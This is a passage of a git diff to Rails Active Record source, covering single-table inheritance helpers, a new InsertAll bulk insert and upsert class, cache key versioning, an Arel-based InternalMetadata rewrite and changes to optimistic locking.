+      # that connects to your primary database.
+      def primary_abstract_class
+        if ActiveRecord.application_record_class && ActiveRecord.application_record_class.name != name
+          raise ArgumentError, "The `primary_abstract_class` is already set to #{ActiveRecord.application_record_class.inspect}. There can only be one `primary_abstract_class` in an application."
+        end
+
+        self.abstract_class = true
+        ActiveRecord.application_record_class = self
       end
 
+      # Returns the value to be stored in the inheritance column for STI.
       def sti_name
-        store_full_sti_class ? name : name.demodulize
+        store_full_sti_class && store_full_class_name ? name : name.demodulize
+      end
+
+      # Returns the class for the provided +type_name+.
+      #
+      # It is used to find the class correspondent to the value stored in the inheritance column.
+      def sti_class_for(type_name)
+        if store_full_sti_class && store_full_class_name
+          type_name.constantize
+        else
+          compute_type(type_name)
+        end
+      rescue NameError
+        raise SubclassNotFound,
+          "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " \
+          "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " \
+          "Please rename this column if you didn't intend it to be used for storing the inheritance class " \
+          "or overwrite #{name}.inheritance_column to use another column for that information. " \
+          "If you wish to disable single-table inheritance for #{name} set " \
+          "#{name}.inheritance_column to nil"
+      end
+
+      # Returns the value to be stored in the polymorphic type column for Polymorphic Associations.
+      def polymorphic_name
+        store_full_class_name ? base_class.name : base_class.name.demodulize
+      end
+
+      # Returns the class for the provided +name+.
+      #
+      # It is used to find the class correspondent to the value stored in the polymorphic type column.
+      def polymorphic_class_for(name)
+        if store_full_class_name
+          name.constantize
+        else
+          compute_type(name)
+        end
+      end
+
+      def dup # :nodoc:
+        # `initialize_dup` / `initialize_copy` don't work when defined
+        # in the `singleton_class`.
+        other = super
+        other.set_base_class
+        other
       end
 
-      def inherited(subclass)
-        subclass.instance_variable_set(:@_type_candidates_cache, Concurrent::Map.new)
+      def initialize_clone(other) # :nodoc:
         super
+        set_base_class
       end
 
       protected
-
         # Returns the class type of the record using the current module as a prefix. So descendants of
         # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
         def compute_type(type_name)
-          if type_name.start_with?("::".freeze)
+          if type_name.start_with?("::")
             # If the type is prefixed with a scope operator then we assume that
             # the type_name is an absolute reference.
-            ActiveSupport::Dependencies.constantize(type_name)
+            type_name.constantize
           else
             type_candidate = @_type_candidates_cache[type_name]
-            if type_candidate && type_constant = ActiveSupport::Dependencies.safe_constantize(type_candidate)
+            if type_candidate && type_constant = type_candidate.safe_constantize
               return type_constant
             end
 
@@ -156,7 +255,7 @@ def compute_type(type_name)
             candidates << type_name
 
             candidates.each do |candidate|
-              constant = ActiveSupport::Dependencies.safe_constantize(candidate)
+              constant = candidate.safe_constantize
               if candidate == constant.to_s
                 @_type_candidates_cache[type_name] = candidate
                 return constant
@@ -167,7 +266,31 @@ def compute_type(type_name)
           end
         end
 
+        def set_base_class # :nodoc:
+          @base_class = if self == Base
+            self
+          else
+            unless self < Base
+              raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
+            end
+
+            if superclass == Base || superclass.abstract_class?
+              self
+            else
+              superclass.base_class
+            end
+          end
+        end
+
       private
+        def inherited(subclass)
+          super
+          subclass.set_base_class
+          subclass.instance_variable_set(:@_type_candidates_cache, Concurrent::Map.new)
+          subclass.class_eval do
+            @finder_needs_type_condition = nil
+          end
+        end
 
         # Called by +instantiate+ to decide which class to use for a new
         # record instance. For single-table inheritance, we check the record
@@ -181,35 +304,25 @@ def discriminate_class_for_record(record)
         end
 
         def using_single_table_inheritance?(record)
-          record[inheritance_column].present? && has_attribute?(inheritance_column)
+          record[inheritance_column].present? && _has_attribute?(inheritance_column)
         end
 
         def find_sti_class(type_name)
           type_name = base_class.type_for_attribute(inheritance_column).cast(type_name)
-          subclass = begin
-            if store_full_sti_class
-              ActiveSupport::Dependencies.constantize(type_name)
-            else
-              compute_type(type_name)
-            end
-          rescue NameError
-            raise SubclassNotFound,
-              "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " \
-              "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " \
-              "Please rename this column if you didn't intend it to be used for storing the inheritance class " \
-              "or overwrite #{name}.inheritance_column to use another column for that information."
-          end
+          subclass = sti_class_for(type_name)
+
           unless subclass == self || descendants.include?(subclass)
             raise SubclassNotFound, "Invalid single-table inheritance type: #{subclass.name} is not a subclass of #{name}"
           end
+
           subclass
         end
 
         def type_condition(table = arel_table)
-          sti_column = arel_attribute(inheritance_column, table)
+          sti_column = table[inheritance_column]
           sti_names  = ([self] + descendants).map(&:sti_name)
 
-          sti_column.in(sti_names)
+          predicate_builder.build(sti_column, sti_names)
         end
 
         # Detect the subclass from the inheritance column of attrs. If the inheritance column value
@@ -217,7 +330,7 @@ def type_condition(table = arel_table)
         def subclass_from_attributes(attrs)
           attrs = attrs.to_h if attrs.respond_to?(:permitted?)
           if attrs.is_a?(Hash)
-            subclass_name = attrs.with_indifferent_access[inheritance_column]
+            subclass_name = attrs[inheritance_column] || attrs[inheritance_column.to_sym]
 
             if subclass_name.present?
               find_sti_class(subclass_name)
@@ -232,7 +345,6 @@ def initialize_dup(other)
     end
 
     private
-
       def initialize_internals_callback
         super
         ensure_proper_type
@@ -246,7 +358,7 @@ def initialize_internals_callback
       def ensure_proper_type
         klass = self.class
         if klass.finder_needs_type_condition?
-          write_attribute(klass.inheritance_column, klass.sti_name)
+          _write_attribute(klass.inheritance_column, klass.sti_name)
         end
       end
   end
diff --git a/activerecord/lib/active_record/insert_all.rb b/activerecord/lib/active_record/insert_all.rb
new file mode 100644
index 0000000000000..3c85560edbea8
--- /dev/null
+++ b/activerecord/lib/active_record/insert_all.rb
@@ -0,0 +1,333 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+
+module ActiveRecord
+  class InsertAll # :nodoc:
+    attr_reader :model, :connection, :inserts, :keys
+    attr_reader :on_duplicate, :update_only, :returning, :unique_by, :update_sql
+
+    class << self
+      def execute(relation, ...)
+        relation.model.with_connection do |c|
+          new(relation, c, ...).execute
+        end.tap { relation.reset }
+      end
+    end
+
+    def initialize(relation, connection, inserts, on_duplicate:, update_only: nil, returning: nil, unique_by: nil, record_timestamps: nil)
+      @relation = relation
+      @model, @connection, @inserts = relation.model, connection, inserts.map(&:stringify_keys)
+      @on_duplicate, @update_only, @returning, @unique_by = on_duplicate, update_only, returning, unique_by
+      @record_timestamps = record_timestamps.nil? ? model.record_timestamps : record_timestamps
+
+      disallow_raw_sql!(on_duplicate)
+      disallow_raw_sql!(returning)
+
+      if @inserts.empty?
+        @keys = []
+      else
+        resolve_sti
+        resolve_attribute_aliases
+        @keys = @inserts.first.keys
+      end
+
+      @scope_attributes = relation.scope_for_create.except(@model.inheritance_column)
+      @keys |= @scope_attributes.keys
+
+      @returning = (connection.supports_insert_returning? ? primary_keys : false) if @returning.nil?
+      @returning = false if @returning == []
+
+      @unique_by = find_unique_index_for(@unique_by)
+
+      configure_on_duplicate_update_logic
+      ensure_valid_options_for_connection!
+    end
+
+    def execute
+      return ActiveRecord::Result.empty if inserts.empty?
+
+      message = +"#{model} "
+      message << "Bulk " if inserts.many?
+      message << (on_duplicate == :update ? "Upsert" : "Insert")
+      connection.exec_insert_all to_sql, message
+    end
+
+    def updatable_columns
+      @updatable_columns ||= keys - readonly_columns - unique_by_columns
+    end
+
+    def primary_keys
+      Array(@connection.schema_cache.primary_keys(model.table_name))
+    end
+
+    def skip_duplicates?
+      on_duplicate == :skip
+    end
+
+    def update_duplicates?
+      on_duplicate == :update
+    end
+
+    def map_key_with_value
+      timestamps_to_merge = model.all_timestamp_attributes_in_model if record_timestamps?
+
+      inserts.map do |attributes|
+        attributes.merge!(@scope_attributes)
+
+        timestamps_to_merge&.each do |attribute|
+          attributes[attribute] = connection.high_precision_current_timestamp if !attributes.key?(attribute)
+        end
+
+        verify_attributes(attributes)
+
+        keys_including_timestamps.map do |key|
+          yield key, attributes[key]
+        end
+      end
+    end
+
+    def record_timestamps?
+      @record_timestamps
+    end
+
+    # TODO: Consider renaming this method, as it only conditionally extends keys, not always
+    def keys_including_timestamps
+      @keys_including_timestamps ||= if record_timestamps?
+        (keys | model.all_timestamp_attributes_in_model).sort!
+      else
+        keys.sort!
+      end
+    end
+
+    private
+      def has_attribute_aliases?(attributes)
+        attributes.keys.any? { |attribute| model.attribute_alias?(attribute) }
+      end
+
+      def resolve_sti
+        return if model.descends_from_active_record?
+
+        sti_type = model.sti_name
+        @inserts = @inserts.map do |insert|
+          insert.reverse_merge(model.inheritance_column.to_s => sti_type)
+        end
+      end
+
+      def resolve_attribute_aliases
+        return unless has_attribute_aliases?(@inserts.first)
+
+        @inserts = @inserts.map do |insert|
+          insert.transform_keys { |attribute| resolve_attribute_alias(attribute) }
+        end
+
+        @update_only = Array(@update_only).map { |attribute| resolve_attribute_alias(attribute) } if @update_only
+        @unique_by = Array(@unique_by).map { |attribute| resolve_attribute_alias(attribute) } if @unique_by
+      end
+
+      def resolve_attribute_alias(attribute)
+        model.attribute_alias(attribute) || attribute
+      end
+
+      def configure_on_duplicate_update_logic
+        if custom_update_sql_provided? && update_only.present?
+          raise ArgumentError, "You can't set :update_only and provide custom update SQL via :on_duplicate at the same time"
+        end
+
+        if update_only.present?
+          @updatable_columns = Array(update_only).map(&:to_s)
+          @on_duplicate = :update
+        elsif custom_update_sql_provided?
+          @update_sql = on_duplicate
+          @on_duplicate = :update
+        elsif @on_duplicate == :update && updatable_columns.empty?
+          @on_duplicate = :skip
+        end
+      end
+
+      def custom_update_sql_provided?
+        @custom_update_sql_provided ||= Arel.arel_node?(on_duplicate)
+      end
+
+      def find_unique_index_for(unique_by)
+        if !connection.supports_insert_conflict_target?
+          return if unique_by.nil?
+
+          raise ArgumentError, "#{connection.class} does not support :unique_by"
+        end
+
+        name_or_columns = unique_by || model.primary_key
+        match = Array(name_or_columns).map(&:to_s)
+        sorted_match = match.sort
+
+        if index = unique_indexes.find { |i| match.include?(i.name) || Array(i.columns).sort == sorted_match }
+          index
+        elsif match == primary_keys
+          unique_by.nil? ? nil : ActiveRecord::ConnectionAdapters::IndexDefinition.new(model.table_name, "#{model.table_name}_primary_key", true, match)
+        else
+          raise ArgumentError, "No unique index found for #{name_or_columns}"
+        end
+      end
+
+      def unique_indexes
+        @connection.schema_cache.indexes(model.table_name).select(&:unique)
+      end
+
+      def ensure_valid_options_for_connection!
+        if returning && !connection.supports_insert_returning?
+          raise ArgumentError, "#{connection.class} does not support :returning"
+        end
+
+        if skip_duplicates? && !connection.supports_insert_on_duplicate_skip?
+          raise ArgumentError, "#{connection.class} does not support skipping duplicates"
+        end
+
+        if update_duplicates? && !connection.supports_insert_on_duplicate_update?
+          raise ArgumentError, "#{connection.class} does not support upsert"
+        end
+
+        if unique_by && !connection.supports_insert_conflict_target?
+          raise ArgumentError, "#{connection.class} does not support :unique_by"
+        end
+      end
+
+
+      def to_sql
+        connection.build_insert_sql(ActiveRecord::InsertAll::Builder.new(self))
+      end
+
+
+      def readonly_columns
+        primary_keys + model.readonly_attributes
+      end
+
+      def unique_by_columns
+        Array(unique_by&.columns)
+      end
+
+
+      def verify_attributes(attributes)
+        if keys_including_timestamps != attributes.keys.sort!
+          raise ArgumentError, "All objects being inserted must have the same keys"
+        end
+      end
+
+      def disallow_raw_sql!(value)
+        return if !value.is_a?(String) || Arel.arel_node?(value)
+
+        raise ArgumentError, "Dangerous query method (method whose arguments are used as raw " \
+                             "SQL) called: #{value}. " \
+                             "Known-safe values can be passed " \
+                             "by wrapping them in Arel.sql()."
+      end
+
+      class Builder # :nodoc:
+        attr_reader :model
+
+        delegate :skip_duplicates?, :update_duplicates?, :keys, :keys_including_timestamps, :record_timestamps?, :primary_keys, to: :insert_all
+
+        def initialize(insert_all)
+          @insert_all, @model, @connection = insert_all, insert_all.model, insert_all.connection
+        end
+
+        def into
+          "INTO #{model.quoted_table_name} (#{columns_list})"
+        end
+
+        def values_list
+          types = extract_types_for(keys_including_timestamps)
+          pks = primary_keys
+
+          values_list = insert_all.map_key_with_value do |key, value|
+            if Arel::Nodes::SqlLiteral === value
+              value
+            elsif pks.include?(key) && value.nil?
+              connection.default_insert_value(model.columns_hash[key])
+            else
+              ActiveModel::Type::SerializeCastValue.serialize(type = types[key], type.cast(value))
+            end
+          end
+
+          connection.visitor.compile(Arel::Nodes::ValuesList.new(values_list))
+        end
+
+        def returning
+          return unless insert_all.returning
+
+          if insert_all.returning.is_a?(String)
+            insert_all.returning
+          else
+            Array(insert_all.returning).map do |attribute|
+              if model.attribute_alias?(attribute)
+                "#{quote_column(model.attribute_alias(attribute))} AS #{quote_column(attribute)}"
+              else
+                quote_column(attribute)
+              end
+            end.join(",")
+          end
+        end
+
+        def conflict_target
+          if index = insert_all.unique_by
+            sql = +"(#{format_columns(index.columns)})"
+            sql << " WHERE #{index.where}" if index.where
+            sql
+          elsif update_duplicates?
+            "(#{format_columns(insert_all.primary_keys)})"
+          end
+        end
+
+        def updatable_columns
+          quote_columns(insert_all.updatable_columns)
+        end
+
+        def touch_model_timestamps_unless(&block)
+          return "" unless update_duplicates? && record_timestamps?
+
+          model.timestamp_attributes_for_update_in_model.filter_map do |column_name|
+            if touch_timestamp_attribute?(column_name)
+              "#{column_name}=(CASE WHEN (#{updatable_columns.map(&block).join(" AND ")}) THEN #{model.quoted_table_name}.#{column_name} ELSE #{connection.high_precision_current_timestamp} END), "
+            end
+          end.join
+        end
+
+        def raw_update_sql
+          insert_all.update_sql
+        end
+
+        alias raw_update_sql? raw_update_sql
+
+        private
+          attr_reader :connection, :insert_all
+
+          def touch_timestamp_attribute?(column_name)
+            insert_all.updatable_columns.exclude?(column_name)
+          end
+
+          def columns_list
+            format_columns(insert_all.keys_including_timestamps)
+          end
+
+          def extract_types_for(keys)
+            columns = @model.columns_hash
+
+            unknown_column = (keys - columns.keys).first
+            raise UnknownAttributeError.new(model.new, unknown_column) if unknown_column
+
+            keys.index_with { |key| model.type_for_attribute(key) }
+          end
+
+          def format_columns(columns)
+            columns.respond_to?(:map) ? quote_columns(columns).join(",") : columns
+          end
+
+          def quote_columns(columns)
+            columns.map { |column| quote_column(column) }
+          end
+
+          def quote_column(column)
+            connection.quote_column_name(column)
+          end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
index 8e71b60b296e1..2a5d0b1251827 100644
--- a/activerecord/lib/active_record/integration.rb
+++ b/activerecord/lib/active_record/integration.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/filters"
 
 module ActiveRecord
@@ -7,12 +9,27 @@ module Integration
     included do
       ##
       # :singleton-method:
-      # Indicates the format used to generate the timestamp in the cache key.
-      # Accepts any of the symbols in <tt>Time::DATE_FORMATS</tt>.
+      # Indicates the format used to generate the timestamp in the cache key, if
+      # versioning is off. Accepts any of the symbols in +Time::DATE_FORMATS+.
       #
       # This is +:usec+, by default.
-      class_attribute :cache_timestamp_format, instance_writer: false
-      self.cache_timestamp_format = :usec
+      class_attribute :cache_timestamp_format, instance_writer: false, default: :usec
+
+      ##
+      # :singleton-method:
+      # Indicates whether to use a stable #cache_key method that is accompanied
+      # by a changing version in the #cache_version method.
+      #
+      # This is +true+, by default on \Rails 5.2 and above.
+      class_attribute :cache_versioning, instance_writer: false, default: false
+
+      ##
+      # :singleton-method:
+      # Indicates whether to use a stable #cache_key method that is accompanied
+      # by a changing version in the #cache_version method on collections.
+      #
+      # This is +false+, by default until \Rails 6.1.
+      class_attribute :collection_cache_versioning, instance_writer: false, default: false
     end
 
     # Returns a +String+, which Action Pack uses for constructing a URL to this
@@ -38,36 +55,67 @@ module Integration
     #   user = User.find_by(name: 'Phusion')
     #   user_path(user)  # => "/users/Phusion"
     def to_param
-      # We can't use alias_method here, because method 'id' optimizes itself on the fly.
-      id && id.to_s # Be sure to stringify the id for routes
+      return unless id
+      Array(id).join(self.class.param_delimiter)
     end
 
-    # Returns a cache key that can be used to identify this record.
+    # Returns a stable cache key that can be used to identify this record.
     #
     #   Product.new.cache_key     # => "products/new"
-    #   Product.find(5).cache_key # => "products/5" (updated_at not available)
-    #   Person.find(5).cache_key  # => "people/5-20071224150000" (updated_at available)
+    #   Product.find(5).cache_key # => "products/5"
     #
-    # You can also pass a list of named timestamps, and the newest in the list will be
-    # used to generate the key:
+    # If ActiveRecord::Base.cache_versioning is turned off, as it was in \Rails 5.1 and earlier,
+    # the cache key will also include a version.
     #
-    #   Person.find(5).cache_key(:updated_at, :last_reviewed_at)
-    def cache_key(*timestamp_names)
+    #   Product.cache_versioning = false
+    #   Product.find(5).cache_key  # => "products/5-20071224150000" (updated_at available)
+    def cache_key
       if new_record?
         "#{model_name.cache_key}/new"
       else
-        timestamp = if timestamp_names.any?
-          max_updated_column_timestamp(timestamp_names)
+        if cache_version
+          "#{model_name.cache_key}/#{id}"
         else
-          max_updated_column_timestamp
+          timestamp = max_updated_column_timestamp
+
+          if timestamp
+            timestamp = timestamp.utc.to_fs(cache_timestamp_format)
+            "#{model_name.cache_key}/#{id}-#{timestamp}"
+          else
+            "#{model_name.cache_key}/#{id}"
+          end
         end
+      end
+    end
 
-        if timestamp
-          timestamp = timestamp.utc.to_s(cache_timestamp_format)
-          "#{model_name.cache_key}/#{id}-#{timestamp}"
-        else
-          "#{model_name.cache_key}/#{id}"
+    # Returns a cache version that can be used together with the cache key to form
+    # a recyclable caching scheme. By default, the #updated_at column is used for the
+    # cache_version, but this method can be overwritten to return something else.
+    #
+    # Note, this method will return nil if ActiveRecord::Base.cache_versioning is set to
+    # +false+.
+    def cache_version
+      return unless cache_versioning
+
+      if has_attribute?("updated_at")
+        timestamp = updated_at_before_type_cast
+        if can_use_fast_cache_version?(timestamp)
+          raw_timestamp_to_cache_version(timestamp)
+
+        elsif timestamp = updated_at
+          timestamp.utc.to_fs(cache_timestamp_format)
         end
+      elsif self.class.has_attribute?("updated_at")
+        raise ActiveModel::MissingAttributeError, "missing attribute 'updated_at' for #{self.class}"
+      end
+    end
+
+    # Returns a cache key along with the version.
+    def cache_key_with_version
+      if version = cache_version
+        "#{cache_key}-#{version}"
+      else
+        cache_key
       end
     end
 
@@ -111,6 +159,51 @@ def to_param(method_name = nil)
           end
         end
       end
+
+      def collection_cache_key(collection = all, timestamp_column = :updated_at) # :nodoc:
+        collection.send(:compute_cache_key, timestamp_column)
+      end
     end
+
+    private
+      # Detects if the value before type cast
+      # can be used to generate a cache_version.
+      #
+      # The fast cache version only works with a
+      # string value directly from the database.
+      #
+      # We also must check if the timestamp format has been changed
+      # or if the timezone is not set to UTC then
+      # we cannot apply our transformations correctly.
+      def can_use_fast_cache_version?(timestamp)
+        timestamp.is_a?(String) &&
+          cache_timestamp_format == :usec &&
+          # FIXME: checking out a connection for this is wasteful
+          # we should store/cache this information in the schema cache
+          # or similar.
+          self.class.with_connection(&:default_timezone) == :utc &&
+          !updated_at_came_from_user?
+      end
+
+      # Converts a raw database string to `:usec`
+      # format.
+      #
+      # Example:
+      #
+      #   timestamp = "2018-10-15 20:02:15.266505"
+      #   raw_timestamp_to_cache_version(timestamp)
+      #   # => "20181015200215266505"
+      #
+      # PostgreSQL truncates trailing zeros,
+      # https://github.com/postgres/postgres/commit/3e1beda2cde3495f41290e1ece5d544525810214
+      # to account for this we pad the output with zeros
+      def raw_timestamp_to_cache_version(timestamp)
+        key = timestamp.delete("- :.")
+        if key.length < 20
+          key.ljust(20, "0")
+        else
+          key
+        end
+      end
   end
 end
diff --git a/activerecord/lib/active_record/internal_metadata.rb b/activerecord/lib/active_record/internal_metadata.rb
index 25ee9d6bfe037..ac2f3333b5143 100644
--- a/activerecord/lib/active_record/internal_metadata.rb
+++ b/activerecord/lib/active_record/internal_metadata.rb
@@ -1,43 +1,164 @@
+# frozen_string_literal: true
+
 require "active_record/scoping/default"
 require "active_record/scoping/named"
 
 module ActiveRecord
   # This class is used to create a table that keeps track of values and keys such
   # as which environment migrations were run in.
-  class InternalMetadata < ActiveRecord::Base # :nodoc:
-    class << self
-      def primary_key
-        "key"
+  #
+  # This is enabled by default. To disable this functionality set
+  # `use_metadata_table` to false in your database configuration.
+  class InternalMetadata # :nodoc:
+    class NullInternalMetadata # :nodoc:
+    end
+
+    attr_reader :arel_table
+
+    def initialize(pool)
+      @pool = pool
+      @arel_table = Arel::Table.new(table_name)
+    end
+
+    def primary_key
+      "key"
+    end
+
+    def value_key
+      "value"
+    end
+
+    def table_name
+      "#{ActiveRecord::Base.table_name_prefix}#{ActiveRecord::Base.internal_metadata_table_name}#{ActiveRecord::Base.table_name_suffix}"
+    end
+
+    def enabled?
+      @pool.db_config.use_metadata_table?
+    end
+
+    def []=(key, value)
+      return unless enabled?
+
+      @pool.with_connection do |connection|
+        update_or_create_entry(connection, key, value)
       end
+    end
+
+    def [](key)
+      return unless enabled?
 
-      def table_name
-        "#{table_name_prefix}#{ActiveRecord::Base.internal_metadata_table_name}#{table_name_suffix}"
+      @pool.with_connection do |connection|
+        if entry = select_entry(connection, key)
+          entry[value_key]
+        end
       end
+    end
+
+    def delete_all_entries
+      dm = Arel::DeleteManager.new(arel_table)
 
-      def []=(key, value)
-        find_or_initialize_by(key: key).update_attributes!(value: value)
+      @pool.with_connection do |connection|
+        connection.delete(dm, "#{self.class} Destroy")
       end
+    end
 
-      def [](key)
-        where(key: key).pluck(:value).first
+    def count
+      sm = Arel::SelectManager.new(arel_table)
+      sm.project(*Arel::Nodes::Count.new([Arel.star]))
+
+      @pool.with_connection do |connection|
+        connection.select_values(sm, "#{self.class} Count").first
       end
+    end
+
+    def create_table_and_set_flags(environment, schema_sha1 = nil)
+      return unless enabled?
 
-      def table_exists?
-        connection.table_exists?(table_name)
+      @pool.with_connection do |connection|
+        create_table
+        update_or_create_entry(connection, :environment, environment)
+        update_or_create_entry(connection, :schema_sha1, schema_sha1) if schema_sha1
       end
+    end
 
-      # Creates an internal metadata table with columns +key+ and +value+
-      def create_table
-        unless table_exists?
-          key_options = connection.internal_string_options_for_primary_key
+    # Creates an internal metadata table with columns +key+ and +value+
+    def create_table
+      return unless enabled?
 
+      @pool.with_connection do |connection|
+        unless connection.table_exists?(table_name)
           connection.create_table(table_name, id: false) do |t|
-            t.string :key, key_options
+            t.string :key, **connection.internal_string_options_for_primary_key
             t.string :value
             t.timestamps
           end
         end
       end
     end
+
+    def drop_table
+      return unless enabled?
+
+      @pool.with_connection do |connection|
+        connection.drop_table table_name, if_exists: true
+      end
+    end
+
+    def table_exists?
+      @pool.schema_cache.data_source_exists?(table_name)
+    end
+
+    private
+      def update_or_create_entry(connection, key, value)
+        entry = select_entry(connection, key)
+
+        if entry
+          if entry[value_key] != value
+            update_entry(connection, key, value)
+          else
+            entry[value_key]
+          end
+        else
+          create_entry(connection, key, value)
+        end
+      end
+
+      def current_time(connection)
+        connection.default_timezone == :utc ? Time.now.utc : Time.now
+      end
+
+      def create_entry(connection, key, value)
+        im = Arel::InsertManager.new(arel_table)
+        im.insert [
+          [arel_table[primary_key], key],
+          [arel_table[value_key], value],
+          [arel_table[:created_at], current_time(connection)],
+          [arel_table[:updated_at], current_time(connection)]
+        ]
+
+        connection.insert(im, "#{self.class} Create", primary_key, key)
+      end
+
+      def update_entry(connection, key, new_value)
+        um = Arel::UpdateManager.new(arel_table)
+        um.set [
+          [arel_table[value_key], new_value],
+          [arel_table[:updated_at], current_time(connection)]
+        ]
+
+        um.where(arel_table[primary_key].eq(key))
+
+        connection.update(um, "#{self.class} Update")
+      end
+
+      def select_entry(connection, key)
+        sm = Arel::SelectManager.new(arel_table)
+        sm.project(Arel::Nodes::SqlLiteral.new("*", retryable: true))
+        sm.where(arel_table[primary_key].eq(Arel::Nodes::BindParam.new(key)))
+        sm.order(arel_table[primary_key].asc)
+        sm.limit = 1
+
+        connection.select_all(sm, "#{self.class} Load").first
+      end
   end
 end
diff --git a/activerecord/lib/active_record/legacy_yaml_adapter.rb b/activerecord/lib/active_record/legacy_yaml_adapter.rb
index c7683f68c734c..3e511cf5e95a5 100644
--- a/activerecord/lib/active_record/legacy_yaml_adapter.rb
+++ b/activerecord/lib/active_record/legacy_yaml_adapter.rb
@@ -1,45 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  module LegacyYamlAdapter
-    def self.convert(klass, coder)
+  module LegacyYamlAdapter # :nodoc:
+    def self.convert(coder)
       return coder unless coder.is_a?(Psych::Coder)
 
       case coder["active_record_yaml_version"]
       when 1, 2 then coder
       else
-        if coder["attributes"].is_a?(AttributeSet)
-          Rails420.convert(klass, coder)
-        else
-          Rails41.convert(klass, coder)
-        end
-      end
-    end
-
-    module Rails420
-      def self.convert(klass, coder)
-        attribute_set = coder["attributes"]
-
-        klass.attribute_names.each do |attr_name|
-          attribute = attribute_set[attr_name]
-          if attribute.type.is_a?(Delegator)
-            type_from_klass = klass.type_for_attribute(attr_name)
-            attribute_set[attr_name] = attribute.with_type(type_from_klass)
-          end
-        end
-
-        coder
-      end
-    end
-
-    module Rails41
-      def self.convert(klass, coder)
-        attributes = klass.attributes_builder
-          .build_from_database(coder["attributes"])
-        new_record = coder["attributes"][klass.primary_key].blank?
-
-        {
-          "attributes" => attributes,
-          "new_record" => new_record,
-        }
+        raise("Active Record doesn't know how to load YAML with this format.")
       end
     end
   end
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index 2659c60f1f52f..c6b7edcad2775 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -1,18 +1,20 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Locking
-    # == What is Optimistic Locking
+    # == What is \Optimistic \Locking
     #
     # Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of
     # conflicts with the data. It does this by checking whether another process has made changes to a record since
-    # it was opened, an <tt>ActiveRecord::StaleObjectError</tt> exception is thrown if that has occurred
+    # it was opened, an ActiveRecord::StaleObjectError exception is thrown if that has occurred
     # and the update is ignored.
     #
-    # Check out <tt>ActiveRecord::Locking::Pessimistic</tt> for an alternative.
+    # Check out ActiveRecord::Locking::Pessimistic for an alternative.
     #
     # == Usage
     #
     # Active Record supports optimistic locking if the +lock_version+ field is present. Each update to the
-    # record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice
+    # record increments the integer column +lock_version+ and the locking facilities ensure that records instantiated twice
     # will let the last one saved raise a +StaleObjectError+ if the first was also updated. Example:
     #
     #   p1 = Person.find(1)
@@ -47,29 +49,33 @@ module Locking
     #     self.locking_column = :lock_person
     #   end
     #
-    # Please note that the optimistic locking will be ignored if you update the
-    # locking column's value.
     module Optimistic
       extend ActiveSupport::Concern
 
       included do
-        class_attribute :lock_optimistically, instance_writer: false
-        self.lock_optimistically = true
+        class_attribute :lock_optimistically, instance_writer: false, default: true
       end
 
-      def locking_enabled? #:nodoc:
+      def locking_enabled? # :nodoc:
         self.class.locking_enabled?
       end
 
-      private
-
-        def increment_lock
-          lock_col = self.class.locking_column
-          previous_lock_value = send(lock_col).to_i
-          send(lock_col + "=", previous_lock_value + 1)
+      def increment!(*, **) # :nodoc:
+        super.tap do
+          if locking_enabled?
+            self[self.class.locking_column] += 1
+            clear_attribute_change(self.class.locking_column)
+          end
         end
+      end
+
+      def initialize_dup(other) # :nodoc:
+        super
+        _clear_locking_column if locking_enabled?
+      end
 
-        def _create_record(attribute_names = self.attribute_names, *)
+      private
+        def _create_record(attribute_names = self.attribute_names)
           if locking_enabled?
             # We always want to persist the locking version, even if we don't detect
             # a change from the default, since the database might have no default
@@ -78,41 +84,46 @@ def _create_record(attribute_names = self.attribute_names, *)
           super
         end
 
-        def _update_record(attribute_names = self.attribute_names)
-          return super unless locking_enabled?
-
-          lock_col = self.class.locking_column
+        def _touch_row(attribute_names, time)
+          @_touch_attr_names << self.class.locking_column if locking_enabled?
+          super
+        end
 
-          return super if attribute_names.include?(lock_col)
-          return 0 if attribute_names.empty?
+        def _update_row(attribute_names, attempted_action = "update")
+          return super unless locking_enabled?
 
           begin
-            previous_lock_value = read_attribute_before_type_cast(lock_col)
+            locking_column = self.class.locking_column
+            lock_attribute_was = @attributes[locking_column]
 
-            increment_lock
+            update_constraints = _query_constraints_hash
 
-            attribute_names.push(lock_col)
+            attribute_names = attribute_names.dup if attribute_names.frozen?
+            attribute_names << locking_column
+
+            if self[locking_column].nil?
+              raise(<<-MSG.squish)
+                For optimistic locking, locking_column ('#{locking_column}') can't be nil.
+                Are you missing a default value or validation on '#{locking_column}'?
+              MSG
+            end
 
-            relation = self.class.unscoped
+            self[locking_column] += 1
 
-            affected_rows = relation.where(
-              self.class.primary_key => id,
-              lock_col => previous_lock_value
-            ).update_all(
-              attributes_for_update(attribute_names).map do |name|
-                [name, _read_attribute(name)]
-              end.to_h
+            affected_rows = self.class._update_record(
+              attributes_with_values(attribute_names),
+              update_constraints
             )
 
-            unless affected_rows == 1
-              raise ActiveRecord::StaleObjectError.new(self, "update")
+            if affected_rows != 1
+              raise ActiveRecord::StaleObjectError.new(self, attempted_action)
             end
 
             affected_rows
 
           # If something went wrong, revert the locking_column value.
           rescue Exception
-            send(lock_col + "=", previous_lock_value.to_i)
+            @attributes[locking_column] = lock_attribute_was
             raise
           end
         end
@@ -127,15 +138,24 @@ def destroy_row
           affected_rows
         end
 
-        def relation_for_destroy
-          relation = super
-
-          if locking_enabled?
-            locking_column = self.class.locking_column
-            relation = relation.where(locking_column => _read_attribute(locking_column))
+        def _lock_value_for_database(locking_column)
+          if will_save_change_to_attribute?(locking_column)
+            @attributes[locking_column].value_for_database
+          else
+            @attributes[locking_column].original_value_for_database
           end
+        end
 
-          relation
+        def _clear_locking_column
+          self[self.class.locking_column] = nil
